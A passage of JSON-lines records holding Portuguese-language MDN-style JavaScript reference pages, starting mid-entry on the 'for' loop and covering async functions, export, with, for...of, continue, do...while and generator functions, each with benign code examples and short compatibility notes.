a *condição* também é opcional. Se você está omitindo essa expressão, você deve certificar-se de quebrar o loop no corpo para não criar um loop infinito.\n\n\n```js\nfor (var i = 0; ; i++) {\n  console.log(i);\n  if (i > 3) break;\n  // more statements\n}\n```\n\n\nVocê também pode omitir todos os três blocos. Novamente, certifique-se de usar uma instrução `break` no final do loop e também modificar (incrementar) uma variável, para que a condição do `break` seja verdadeira em algum momento.\n\n\n```js\nvar i = 0;\n\nfor (;;) {\n  if (i > 3) break;\n  console.log(i);\n  i++;\n}\n```\n\n### Usando `for` sem uma declaração\n\nO ciclo `for` a seguir calcula a posição de deslocamento de um nó na seção [expressão final] e, portanto, não requer o uso de uma declaração ou de um bloco de declaração, e no seu lugar é usado um ponto-vírgula - `;`.\n\n\n```js\nfunction showOffsetPos(sId) {\n  var nLeft = 0,\n    nTop = 0;\n\n  for (\n    var oItNode = document.getElementById(sId); // inicialização\n    oItNode; // condition\n    nLeft += oItNode.offsetLeft,\n      nTop += oItNode.offsetTop,\n      oItNode = oItNode.offsetParent // expressão final\n    /\\* empty statement \\*/\n  );\n\n  console.log(\n    'Offset position of \"' +\n      sId +\n      '\" element:\\n left: ' +\n      nLeft +\n      \"px;\\n top: \" +\n      nTop +\n      \"px;\",\n  );\n}\n\n// Exemplo de call:\n\nshowOffsetPos(\"content\");\n\n// Resultado:\n// \"Offset position of \"content\" element:\n// left: 0px;\n// top: 153px;\"\n```\n\n\n**Nota:** Nesse caso, quando você não usa a seção de declaração, **o** **ponto-e-vírgula é colocada imediatamente após a declaração do ciclo**.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-for-statement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `break`\n* `continue`\n* `empty`\n* `while`\n* `do...while`\n* `for...in`\n* `for...of`"}
{"title":"Funções assíncronas - JavaScript","text":"Funções assíncronas\n===================\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since April 2017.\n\n* Learn more\n* See full compatibility\n* Report feedback\nA declaração **`async function`** define uma *função assíncrona*, que retorna um objeto `AsyncFunction`.\n\nVocê também pode definir funções assíncronas usando uma `expressão async function`.\n\nSintaxe\n-------\n```\n\nasync function nome([param[, param[, ... param]]]) {\n   instruções\n}\n```\n\n\n`nome`\n\nO nome da função.\n\n`param`\n\nO nome de um parâmetro a ser passado para a função.\n\n`instruções`\n\nAs instruções que compõem o corpo da função.\n\nDescrição\n---------\n\nQuando uma função assíncrona é chamada, ela retorna uma `Promise`. Quando a função assíncrona retorna um valor, a `Promise` será resolvida com o valor retornado. Quando a função assíncrona lança uma exceção ou algum valor, a `Promise` será rejeitada com o valor lançado.\n\nUma função assíncrona pode conter uma expressão `await`, que pausa a execução da função assíncrona e espera pela resolução da `Promise` passada, e depois retoma a execução da função assíncrona e retorna o valor resolvido.\n\n**Nota:** A proposta das funções `async/await` é de simplificar o uso de forma síncrona das `Promises` e executar alguns procedimentos em um grupo de `Promises`. Assim como `Promises` são similares a `callbacks` estruturados, funções `async/await` são similares à junção de `generators` com `Promises`.\n\nExemplos\n--------\n\n### Exemplo simples\n\n\n```js\nfunction resolverDepoisDe2Segundos(x) {\n  return new Promise((resolve) => {\n    setTimeout(() => {\n      resolve(x);\n    }, 2000);\n  });\n}\n\nasync function adicionar1(x) {\n  var a = resolverDepoisDe2Segundos(20);\n  var b = resolverDepoisDe2Segundos(30);\n  return x + (await a) + (await b);\n}\n\nadicionar1(10).then((v) => {\n  console.log(v); // exibe 60 depois de 2 segundos.\n});\n\nasync function adicionar2(x) {\n  var a = await resolverDepoisDe2Segundos(20);\n  var b = await resolverDepoisDe2Segundos(30);\n  return x + a + b;\n}\n\nadicionar2(10).then((v) => {\n  console.log(v); // exibe 60 depois de 4 segundos.\n});\n```\n\n### Reescrevendo uma cadeia de `Promise` com uma função `async`\n\nUma API que retorna uma `Promise` vai resultar em uma cadeia de `Promises` e separa a função em várias partes. Considere o seguinte código:\n\n\n```js\nfunction pegarDadosProcessados(url) {\n  return baixarDados(url) // retorna uma Promise\n    .catch((e) => {\n      return baixarDadosReservas(url); // retorna uma Promise\n    })\n    .then((v) => {\n      return processarDadosNoWorker(v); // retorna uma Promise\n    });\n}\n```\n\n\npode ser escrita em uma única função `async` desta forma:\n\n\n```js\nasync function pegarDadosProcessados(url) {\n  let v;\n  try {\n    v = await baixarDados(url);\n  } catch (e) {\n    v = await baixarDadosReservas(url);\n  }\n  return processarDadosNoWorker(v);\n}\n```\n\n\nNote que no exemplo acima não tem a instrução `await` na instrução do `return`, porque o valor retornado de uma função `async` é implícitamente passado por um `Promise.resolve`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-async-function-definitions |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### Notas específicas do Firefox\n\n* A função expression closure syntax não é permitida com funções assíncronas e irão lançar a exceção SyntaxError (en-US) a partir do Firefox 55.\nVeja também\n-----------\n\n* async\\_function\n* AsyncFunction\n* await"}
{"title":"export - JavaScript","text":"export\n======\n\nO export é utilizado quando criamos módulos JavaScript para exportar ligações em tempo real para suas funções, objetos ou valores primitivos de um módulo sejam utilizados por outros programas através de declarações `import`. Ligações que são exportadas ainda podem ser modificadas localmente; quando importadas, embora elas possam ser lidas somente pelo módulo que as importou, seu valor é atualizado sempre que ela modificada pelo módulo que a exportou.\n\nMódulos exportados ficam em `strict mode`, independentemente se é declarado dessa forma, ou não. Export não pode ser utilizado em scripts embutidos.\n\nSintaxe\n-------\n\nHá dois tipos de exportação:\n\n1. Exportações Explícitas (Named Exports) (Zero ou mais exports por módulo)\n2. Exportações Padrão (Default Exports) (Uma por módulo)\n```\n\n// Exportando recursos individuais\nexport let name1, name2, …, nameN; // também var, const\nexport let name1 = …, name2 = …, …, nameN; // também var, const\nexport function functionName(){...}\nexport class ClassName {...}\n\n// Lista de exportações\nexport { name1, name2, …, nameN };\n\n// Renomeando exports\nexport { variable1 as name1, variable2 as name2, …, nameN };\n\n// Exportando atribuições desestruturadas renomeando\nexport const { name1, name2: bar } = o;\n\n// Exportações Padrão (Default exports)\nexport default expression;\nexport default function (…) { … } // também class, function*\nexport default function name1(…) { … } // também class, function*\nexport { name1 as default, … };\n\n// Agregando módulos\nexport * from …; // não define a exportação padrão\nexport * as name1 from …; // Draft ECMAScript® 2O21\nexport { name1, name2, …, nameN } from …;\nexport { import1 as name1, import2 as name2, …, nameN } from …;\nexport { default } from …;\n```\n\n\n`nameN`\n\nIdentificador para ser exportado (assim ele pode ser importado via `import` em outro script).\n\nDescrição\n---------\n\nHá dois diferentes tipos de export, explícito(named) e padrão(default). Pode-se ter várias exportações explícitas por módulo, mas apenas uma padrão. Cada tipo corresponde à uma da síntaxe acima:\n\nExportações explícitas:\n\n\n```js\n// exporta recursos declarados anteriomente\nexport { myFunction, myVariable };\n\n// exporta recursos individuais (pode exportar var, let,\n// const, function, class)\nexport let myVariable = Math.sqrt(2);\nexport function myFunction() { ... };\n```\n\n\nExportação padrão (pode ser feita apenas uma por script):\n\n\n```js\n// exporta um recurso declarado anteriormente como padrão\nexport { myFunction as default };\n\n// exporta recursos individuais como padrão\nexport default function () { ... }\nexport default class { .. }\n```\n\n\nExportações explícitas são úteis para exportar vários valores. Durante a importação, é obrigatório usar o mesmo nome do objeto correspondente.\n\nMas a exportação padrão pode ser importada com qualquer nome, por exemplo:\n\n\n```js\n// arquivo test.js\nlet k;\nexport default k = 12;\n```\n\n\n\n```js\n// algum outro arquivo\nimport m from \"./test\"; // note que temos a liberdade de usar import m ao invés de import k, porque k era uma exportaçào padrão\nconsole.log(m); // vai retornar log 12\n```\n\n\nVocê também pode renomear exportações explícitas para evitar conflitos e nome:\n\n\n```js\nexport { myFunction as function1, myVariable as variable };\n```\n\n### Re-exportando / Agregando\n\nÉ possível também \"importar/exportar\" de módulos diferentes em um módulo pai, de modo que eles estejam disponíveis para serem importados daquele módulo. Em outras palavras, pode-se criar um módulo único concentrando várias exportações de vários módulos.\n\nIsto pode ser feito com a sintaxe \"export from\":\n\n\n```js\nexport { default as function1, function2 } from \"bar.js\";\n```\n\n\nO que é comparável com um combinação de import e export:\n\n\n```js\nimport { default as function1, function2 } from \"bar.js\";\nexport { function1, function2 };\n```\n\n\nMas onde `function1` e `function2` não ficam disponíveis dentro do módulo atual.\n\n**Nota:** Os exemplos a seguir são sintaticamente inválidos apesar de sua equivalência com o import:\n\n\n```js\nimport DefaultExport from \"bar.js\"; // Válido\n```\n\n\n\n```js\nexport DefaultExport from \"bar.js\"; // Inválido\n```\n\n\nO modo correto de fazer isso e renomeando o export:\n\n\n```js\nexport { default as DefaultExport } from \"bar.js\";\n```\n\nExemplos\n--------\n\n### Usando exportações explícitas\n\nEm um módulo `my-module.js` poderiamos usar o seguinte código:\n\n\n```js\n// módulo \"my-module.js\"\nfunction cube(x) {\n  return x \\* x \\* x;\n}\n\nconst foo = Math.PI + Math.SQRT2;\n\nvar graph = {\n  options: {\n    color: \"white\",\n    thickness: \"2px\",\n  },\n  draw: function () {\n    console.log(\"Da função draw de graph\");\n  },\n};\n\nexport { cube, foo, graph };\n```\n\n\nEntão, no módulo principal incluído sem sua página HTML, poderíamos ter:\n\n\n```js\nimport { cube, foo, graph } from \"./my-module.js\";\n\ngraph.options = {\n  color: \"blue\",\n  thickness: \"3px\",\n};\n\ngraph.draw();\nconsole.log(cube(3)); // 27\nconsole.log(foo); // 4.555806215962888\n```\n\n\nÉ importante notar o seguinte:\n\n* Você pode incluir esse script no seu código HTML através do elemento `<script>` do tipo=\"module\", de modo que ele seja reconhecido e tratado apropriadamente.\n* Você não pode executar módulos JS através de `file://` URL — você receberá errors CORS. Você deve rodá-los através de um servidor HTTP.\n### Usando a exportação padrão\n\nSe queremos exportar um valor sozinho ou obter um valor de reserva para o nosso módulo, nós poderiamos usar `export default`:\n\n\n```js\n// módulo \"my-module.js\"\nexport default function cube(x) {\n  return x \\* x \\* x;\n}\n```\n\n\nDaí em outro script podemos usar:\n\n\n```js\nimport cube from \"my-module\";\nconsole.log(cube(3)); // 27\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-exports |\n\nCompatibilidade\n---------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `import`\n* ES6 in Depth: Modules, Hacks blog post by Jason Orendorff\n* Axel Rauschmayer's book: \"Exploring JS: Modules\""}
{"title":"with - JavaScript","text":"with\n====\n\n**Aviso:** O uso da declaração `with` não é recomendado, isso porque ele pode ser a fonte de bugs confusos e problemas de compatibilidade. Veja o parágrafo \"Contra de ambiguidade\" na seção \"Descrição\" para mais detalhes.\n\nA **declaração with** extende a cadeia de escopo para uma declaração.\n\nSintaxe\n-------\n```\n\nwith (expressão)\n  declaração\n```\n\n\n`expressão`\n\nAdiciona a dada expressão à cadeia de escopo quando estiver avaliando a declaração. O parênteses em volta da expressão é obrigatório.\n\n`declaração`\n\nQualquer declaração. Para executação multiplas declarações, utilize a declaração em bloco ({ ... }) para agrupar estas declarações.\n\nDescrição\n---------\n\nJavaScript procura por um nome não qualificado procurando uma cadeia de escopo associada à execução do contexto do script ou função contendo um nome não qualificado. A declaração 'with' adiciona o dado objeto à frenet dessa cadeia de escopo durante a validação desse corpo de declarações. Se um nome não qualificado usado no corpo for igual ao de uma propriedade na cadeia de escopo, então o nome ficará ligado à propriedade e ao objeto contendo a propriedade. Senão, um `ReferenceError` será invocado.\n\n**Nota:** Usar `with` não é recomendado, e está probido no strict mode (en-US) do ECMAScript 5. A alternativa recomendada é atribuir o objeto cujas propriedades você quer acessar a uma variável temporária.\n\n### Pros & contras de perfomance\n\n**Pro:** A declaração `with` pode ajudar o tamanho do arquivo por reduzir a necessidade de repetir a referência a um objeto longo sem penalidade na perfomance. A cadeia de escopo mudada por um 'with' não é computacionalmente cara. O uso de 'with' irá aliviar o interpretador de tratar repetidamente as referências. Note que, no entando, isso em muitos casos pode ser substituído usando uma variável temporária para armazenar a referência do objeto desejado.\n\n**Contra:** A declaração `with` força que o objeto especifícado a ser procurado primeiro por pesquisas de nome. Assim sendo, todos os indentificadores que não são membros do objeto espeficícado vão ser encontrados mais lentamente em um bloco 'with'. Onde a perfomance é importande, 'with' deve ser usado apenas para englobar blocos de código que acessam membros de um objeto especifíco.\n\n### Contra de ambiguidade\n\n**Contra:** A declaração `with` faz ser difícil para um leitor humano ou compilador JavaScript decidir se um nome não qualificado var se encontrado em uma cadeia de escopo, e também, em qual objeto. Dado o exemplo seguinte:\n\n\n```js\nfunction f(x, o) {\n  with (o) {\n    console.log(x);\n  }\n}\n```\n\n\nApenas quando `f` é chamado é `x` ou encontrado ou não, e se for encontrado, ou em `o` ou (se nenhuma propriedade existir) no objeto de ativação de `f`, onde o nome de `x` é o primeiro argumento formal. Se você esquecer de definir `x` no objeto que você passou como segundo argumento, ou se há algum bug similar ou confusão, você não vai receber um erro — apenas resultados inesperados.\n\n**Contra:** Código utilizando `with` talvez não seja compatível posteriormente, especialmente quando usado com algo que não seja um objeto simples. Considere esse exemplo:\n\n\n```js\nfunction f(foo, values) {\n  with (foo) {\n    console.log(values);\n  }\n}\n```\n\n\nSe você chamar `f([1,2,3], obj)` em um ambiente ECMAScript 5, então a referência de `values` dentro da declaração `with` irá ser `obj`. No entando, ECMAScript 6 introduz uma propriedade `values` no `Array.prototype` (então isso estará disponível em todas as arrays). Então, em um ambiente JavaScript que suporta ECMAScript 6, a referência de `values` dentro da declaração `with` irá ser `[1,2,3].values`.\n\nExemplos\n--------\n\n### Usando `with`\n\nA seguinte declaração `with` irá especificar que o objeto `Math` é o objeto padrão. As seguintes declarações seguindo a declaração `with` irão referir a propriedade `PI` e aos métodos `cos` e `sin`, sem especificar um objeto. JavaScript assume o objeto `Math` para essas referências.\n\n\n```js\nvar a, x, y;\nvar r = 10;\n\nwith (Math) {\n  a = PI \\* r \\* r;\n  x = r \\* cos(PI);\n  y = r \\* sin(PI / 2);\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-with-statement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `block`\n* Strict mode (en-US)\n* `Symbol.unscopables`\n* `Array.prototype[@@unscopables]`"}
{"title":"for...of - JavaScript","text":"for...of\n========\n\nO loop **`for...of`** percorre objetos iterativos (en-US) (incluindo `Array`, `Map`, `Set`, o objeto arguments (en-US) e assim por diante), chamando uma função personalizada com instruções a serem executadas para o valor de cada objeto distinto.\n\nSintaxe\n-------\n```\n\nfor (variavel of iteravel) {\n  declaração\n}\n```\n\n\n`variável`\n\nA cada iteração, um valor de uma propriedade diferente é atribuido à *variável*.\n\n`iteravel`\n\nObjeto cujos atributos serão iterados.\n\nExemplos\n--------\n\n### Iterando sobre um `Array`\n\n\n```js\nlet iterable = [10, 20, 30];\n\nfor (let value of iterable) {\n  console.log(value);\n}\n// 10\n// 20\n// 30\n```\n\n\nAo invés de `let`, você pode usar `const` se você não for modificar a variável dentro do bloco.\n```\n\nlet iterable = [10, 20, 30];\n\nfor (const value of iterable) {\n  console.log(value);\n}\n// 10\n// 20\n// 30\n```\n\n### Iterando sobre uma `String`\n```\n\nlet iterable = \"boo\";\n\nfor (let value of iterable) {\n  console.log(value);\n}\n// \"b\"\n// \"o\"\n// \"o\"\n```\n\n### Iterando sobre uma `TypedArray` (en-US)\n```\n\nlet iterable = new Uint8Array([0x00, 0xff]);\n\nfor (let value of iterable) {\n  console.log(value);\n}\n// 0\n// 255\n```\n\n### Iterando sobre um `Map`\n```\n\nlet iterable = new Map([[\"a\", 1], [\"b\", 2], [\"c\", 3]]);\n\nfor (let entry of iterable) {\n  console.log(entry);\n}\n// [a, 1]\n// [b, 2]\n// [c, 3]\n\nfor (let [key, value] of iterable) {\n  console.log(value);\n}\n// 1\n// 2\n// 3\n```\n\n### Iterando sobre um `Set`\n```\n\nlet iterable = new Set([1, 1, 2, 2, 3, 3]);\n\nfor (let value of iterable) {\n  console.log(value);\n}\n// 1\n// 2\n// 3\n```\n\n### Iterando sobre um objeto arguments (en-US)\n```\n\n(function() {\n  for (let argument of arguments) {\n    console.log(argument);\n  }\n})(1,2,3);\n\n// 1\n// 2\n// 3\n```\n\n### Iterando sobre uma coleção do DOM\n\nIterar sobre uma coleção do DOM como `NodeList`: o seguinte exemplo adiciona uma classe `read` aos parágrafos que são descendentes diretos de uma tag `article`:\n```\n\n// Nota: Isso irá funcionar somente em plataformas que tem\n// suporte ao NodeList.prototype[Symbol.iterator]\nlet articleParagraphs = document.querySelectorAll(\"article > p\");\n\nfor (let paragraph of articleParagraphs) {\n  paragraph.classList.add(\"read\");\n}\n```\n\n### Iterando sobre generators\n\nVocê pode também iterar sobre generators:\n```\n\nfunction* fibonacci() { // uma função geradora (generator)\n  let [prev, curr] = [1, 1];\n  while (true) {\n    [prev, curr] = [curr, prev + curr];\n    yield curr;\n  }\n}\n\nfor (let n of fibonacci()) {\n  console.log(n);\n  // Trunca a sequência em 1000\n  if (n >= 1000) {\n    break;\n  }\n}\n```\n\n\n#### Não reuse generators\n\nGenerators não devem ser re-usados, mesmo se o loop `for...of` for terminado precocemente, por exemplo através da palavra-chave `break`. Enquanto em um loop ativo, o generator é fechado e tentar iterar novamente sobre ele não produz (yield) nenhum resultado adicional. O Firefox ainda não implementou este comportamento (o generator pode ser reutilizado, violando o padrão do ES2015 (13.7.5.13, step 5m), mas isso irá mudar uma vez que o Erro do Firefox 1147371 for resolvido.\n```\n\nvar gen = (function *(){\n  yield 1;\n  yield 2;\n  yield 3;\n})();\nfor (let o of gen) {\n  console.log(o);\n  break;  // Closes iterator\n}\n\n// O generator não deve ser reutilizado, o código a seguir não\n// faz sentido!\nfor (let o of gen) {\n  console.log(o); // Nunca será chamado.\n}\n```\n\n### Iterando sobre outros objetos iteráveis\n\nVocê pode também iterar sobre um objeto que implementa explicitamente um protocolo iterável protocol:\n```\n\nvar iterable = {\n  [Symbol.iterator]() {\n    return {\n      i: 0,\n      next() {\n        if (this.i < 3) {\n          return { value: this.i++, done: false };\n        }\n        return { value: undefined, done: true };\n      }\n    };\n  }\n};\n\nfor (var value of iterable) {\n  console.log(value);\n}\n// 0\n// 1\n// 2\n```\n\n### Diferença entre `for...of` e `for...in`\n\nO loop `for...in` irá iterar sobre todas as propriedades enumeráveis de um objeto.\n\nA sintaxe do `for...of` é específica para **coleções**, ao invés de todos os objetos. Ela irá iterar desta maneira sobre os elementos de qualquer coleção que tiver uma propriedade `[Symbol.iterator]`.\n\nO exemplo a seguir mostra a diferença entre um loop `for...of` e um loop `for...in`.\n```\n\nObject.prototype.objCustom = function () {};\nArray.prototype.arrCustom = function () {};\n\nlet iterable = [3, 5, 7];\niterable.foo = \"hello\";\n\nfor (let i in iterable) {\n  console.log(i); // escreve 0, 1, 2, \"foo\", \"arrCustom\", \"objCustom\"\n}\n\nfor (let i of iterable) {\n  console.log(i); // escreve 3, 5, 7\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-for-in-and-for-of-statements |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nConsulte também\n---------------\n\n* for each...in - uma declaração similar, mas que itera entre os valores dos atributos de um objeto, ao invés dos seus nomes (obsoleto).\n* `Array.prototype.forEach()`"}
{"title":"continue - JavaScript","text":"continue\n========\n\nA palavra chave **continue** termina a atual iteração do laço em que ele se encontra ou de um laço rotulado, e continua a execução deste laço com a próxima iteração.\n\nSyntax\n------\n```\n\ncontinue [rótulo];\n```\n\n\n`rótulo`\n\nIdentificador associado ao laço.\n\nDescrição\n---------\n\nDiferentemente do `break`, o `continue` não termina a execução do laço completamente, em vez disso ele:\n\n* Volta à condição, em um laço do tipo `while`.\n* Volta à expressão, atualizando-a, em um laço do tipo `for`.\n\nO `continue` pode incluir, opcionalmente, um rótulo que premite ao programa pular para a próxima iteração de um laço rotulado em vez de pular o loop em que ele se encontra. Neste caso, o `continue` necessita estar dentro deste laço rotulado.\n\nExemplos\n--------\n\n### Usando `continue` com `while`\n\nO exemplo abaixo mostra um laço `while` que tem um `continue` que será executado quando o valor de `i` for 3. Assim, `n` terá os valores 1, 3, 7, e 12.\n\n\n```js\nvar i = 0;\nvar n = 0;\n\nwhile (i < 5) {\n  i++;\n\n  if (i === 3) {\n    continue;\n  }\n\n  n += i;\n}\n```\n\n### Usando o `continue` com um rótulo\n\nNo exemplo abaixo, um laço rotulado como `checkiandj` contém o laço rotulado `checkj`. Se o `continue` for alcançado, o programa continua a execução voltando ao topo do rótulo `checkj`. Cada vez que o `continue` for alcançado, `checkj` reiterará até sua condição for falsa. Quando retornar `false`, o restante de `checkiandj` será executado.\n\nSe o `continue` tivesse o rótulo `checkiandj`, o programa iria continuar retornando a execução ao label `checkiandj`.\n\nVeja também `label`.\n\n\n```js\nvar i = 0;\nvar j = 8;\n\ncheckiandj: while (i < 4) {\n  console.log(\"i: \" + i);\n  i += 1;\n\n  checkj: while (j > 4) {\n    console.log(\"j: \" + j);\n    j -= 1;\n\n    if (j % 2 == 0) continue checkj;\n    console.log(j + \" is odd.\");\n  }\n  console.log(\"i = \" + i);\n  console.log(\"j = \" + j);\n}\n```\n\n\nOutput:\n\n\n```js\n\"i: 0\";\n\n// start checkj\n\"j: 8\";\n\"7 is odd.\";\n\"j: 7\";\n\"j: 6\";\n\"5 is odd.\";\n\"j: 5\";\n// end checkj\n\n\"i = 1\";\n\"j = 4\";\n\n\"i: 1\";\n\"i = 2\";\n\"j = 4\";\n\n\"i: 2\";\n\"i = 3\";\n\"j = 4\";\n\n\"i: 3\";\n\"i = 4\";\n\"j = 4\";\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-continue-statement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `break`\n* `label`"}
{"title":"do...while - JavaScript","text":"do...while\n==========\n\nA declaração **`do...while`** cria um laço que executa uma declaração até que o teste da condição for falsa (false). A condição é avaliada depois que o bloco de código é executado, resultando que uma declaração seja executada pelo menos uma vez.\n\nSintaxe\n-------\n```\n\ndo\n   statement\nwhile (condition);\n```\n\n\n`declarações`\n\nA declaração é executada pelo menos uma vez e re-executada cada vez que a condição (`condition`) for avaliada como verdadeira (true). Para executar múltiplas declarações dentro do laço, use um `block` declaração (`{ ... }`) ao grupo dessas declarações.\n\n`condição`\n\nUma expressão é validade depois de cada passagem pelo laço. Se a condição `(condition)` é avaliada como verdadeira (true) o bloco de código é executado novamente. Quando a condição `(condition)` é avaliada como falsa (false), o controle passa para a instrução seguinte ao laço **do...while**.\n\nExemplos\n--------\n\n### Usando `do...while`\n\nNo exemplo seguinte, o laço **do...while** soma pelo menos uma vez e executa novamente até `i` não ser menor que 5.\n\n### Conteúdo HTML\n\n\n```html\n<div id=\"exemplo\"></div>\n```\n\n### Conteúdo JavaScript\n\n\n```js\nvar resultado = \"\";\nvar i = 0;\ndo {\n  i += 1;\n  resultado += i + \" \";\n} while (i < 5);\ndocument.getElementById(\"exemplo\").innerHTML = resultado;\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-do-while-statement |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `while`\n* `for`"}
{"title":"function* - JavaScript","text":"function\\*\n==========\n\nA declaração **`function*`** (palavra chave `function` seguida de um asterisco) define uma *função geradora* (*generator function*), que retorna um objeto `Generator`.\n\nExperimente\n-----------\n\nVocê também pode definir funções geradoras usando o construtor `GeneratorFunction` (en-US) ou a sintaxe da expressão de uma função.\n\nSintaxe\n-------\n```\n\nfunction* name([param[, param[, ... param]]]) {\n   statements\n}\n```\n\n\n`name`\n\nO nome da função.\n\n`param`\n\nO nome do argumento que será passado á função. Uma função pode ter até 255 argumentos.\n\n`statements`\n\nAs instruções que formam o corpo da função.\n\nDescrição\n---------\n\nGeradores são funções cuja execução pode ser interrompida e posteriormente reconduzida. Seus contextos (de associações de variáveis) ficarão salvos entre cada recondução.\n\nGeradores em JavaScript — especialmente quando combinados com *Promises* — são uma ferramenta muito poderosa para programação assíncrona, por mitigarem — se não eliminarem — problemas com callbacks, como o Callback Hell e Inversão de Controle. Funções `async` são fundamentadas nisso.\n\nChamar uma função geradora não executa seu conteúdo imediatamente; ao invés disso um objeto *iterator (en-US)* é retornado. Quando o método `next()` do objeto *iterator* é chamado, o conteúdo da função do gerador é executado até a primeira expressão `yield`, que especifica o valor a ser devolvido do *iterator* ou com `yield*` que delega para outra função geradora. O método `next()` retorna um objeto com uma propriedade `value` contendo o valor retornado e a propriedade *boolean*: `done` indicando se o gerador produziu seu último valor. Chamar o método `next()` com um argumento resumirá a execução da função geradora, substituindo a expressão `yield` onde a execução foi pausada com o argumento de `next()`.\n\nUma expressão `return` em um gerador, quando executada, fará com que o gerador termine (isto é, a propriedade `done` do objeto retornado será atribuído com o valor `true`). Se um valor foi retornado, este será usado como propriedade `value` do objeto retornado pelo gerador. Semelhantemente a uma expressão `return`, um erro lançado dentro do gerador o terminará — a não ser que tratado no corpo do gerador. Quando um gerador estiver terminado, chamadas `next` subsequentes não executarão nenhum código do gerador, retornarão simplesmente um objeto da seguinte forma: `{value: undefined, done: true}`.\n\nExemplos\n--------\n\n### Exemplo simples\n\n\n```js\nfunction\\* idMaker() {\n  var index = 0;\n  while (true) yield index++;\n}\n\nvar gen = idMaker();\n\nconsole.log(gen.next().value); // 0\nconsole.log(gen.next().value); // 1\nconsole.log(gen.next().value); // 2\nconsole.log(gen.next().value); // 3\n// ...\n```\n\n### Exemplo com yield\\*\n\n\n```js\nfunction\\* outroGerador(i) {\n  yield i + 1;\n  yield i + 2;\n  yield i + 3;\n}\n\nfunction\\* gerador(i) {\n  yield i;\n  yield\\* outroGerador(i);\n  yield i + 10;\n}\n\nvar gen = gerador(10);\n\nconsole.log(gen.next().value); // 10\nconsole.log(gen.next().value); // 11\nconsole.log(gen.next().value); // 12\nconsole.log(gen.next().value); // 13\nconsole.log(gen.next().value); // 20\n```\n\n### Passando argumentos em geradores\n```\n\nfunction* logGenerator() {\n  console.log(0);\n  console.log(1, yield);\n  console.log(2, yield);\n  console.log(3, yield);\n}\n\nvar gen = logGenerator();\n\n// a primeira chamada next é executada desde o início da função\n// até a primeira declaração yield\ngen.next();             // 0\ngen.next('pretzel');    // 1 pretzel\ngen.next('california'); // 2 california\ngen.next('mayonnaise'); // 3 mayonnaise\n```\n\n### Declaração de retono em um gerador\n```\n\nfunction* yieldAndReturn() {\n  yield \"Y\";\n  return \"R\";\n  yield \"unreachable\";\n}\n\nvar gen = yieldAndReturn()\nconsole.log(gen.next()); // { value: \"Y\", done: false }\nconsole.log(gen.next()); // { value: \"R\", done: true }\nconsole.log(gen.next()); // { value: undefined, done: true }\n```\n\n### Geradores não possuem construtor\n```\n\nfunction* f() {}\nvar obj = new f; // lança o TypeError: f não é construtor\n```\n\n### Gerador definido em uma expressão\n```\n\nconst foo = function* () {\n  yield 10;\n  yield 20;\n};\n\nconst bar = foo();\nconsole.log(bar.next()); // {value: 10, done: false}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-generator-function-definitions |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nObservações específicas Firefox\n-------------------------------\n\n#### Generators e iterators no Firefox em versões anteriores a 26\n\nVersões mais antigas do Firefox implementam uma versão antiga da proposta de *generators*. Na versão mais antiga, *generators* foram intruídos a usarem a palavra chave `function`(sem um asterísco) dentre outras diferenças.\n\n#### O retorno do objeto `IteratorResult` ao invés de um throw\n\nIniciando com Gecko 29, o *generator* finalizado não lança mais um `TypeError` \"generator has already finished\". Ao invés disso, ele retorna um objeto `IteratorResult`, como por exemplo `{ value: undefined, done: true }` (Erro do Firefox 958951).\n\nVeja também\n-----------\n\n* `function* expression`\n* `GeneratorFunction` (en-US) object\n* The Iterator protocol (en-US)\n* `yield`\n* `yield*`\n* `Function` object\n* `function declaration`\n* `function expression`\n* `Functions and function scope` (en-US)\n* Outras fontes na web:\n    + Regenerator um ES6 generator que compila para ES5\n    + Forbes Lindesay: Promises and Generators: control flow utopia — JSConf EU 2013\n    + Hemanth.HM: The New gen of \\*gen(){}\n    + Task.js"}
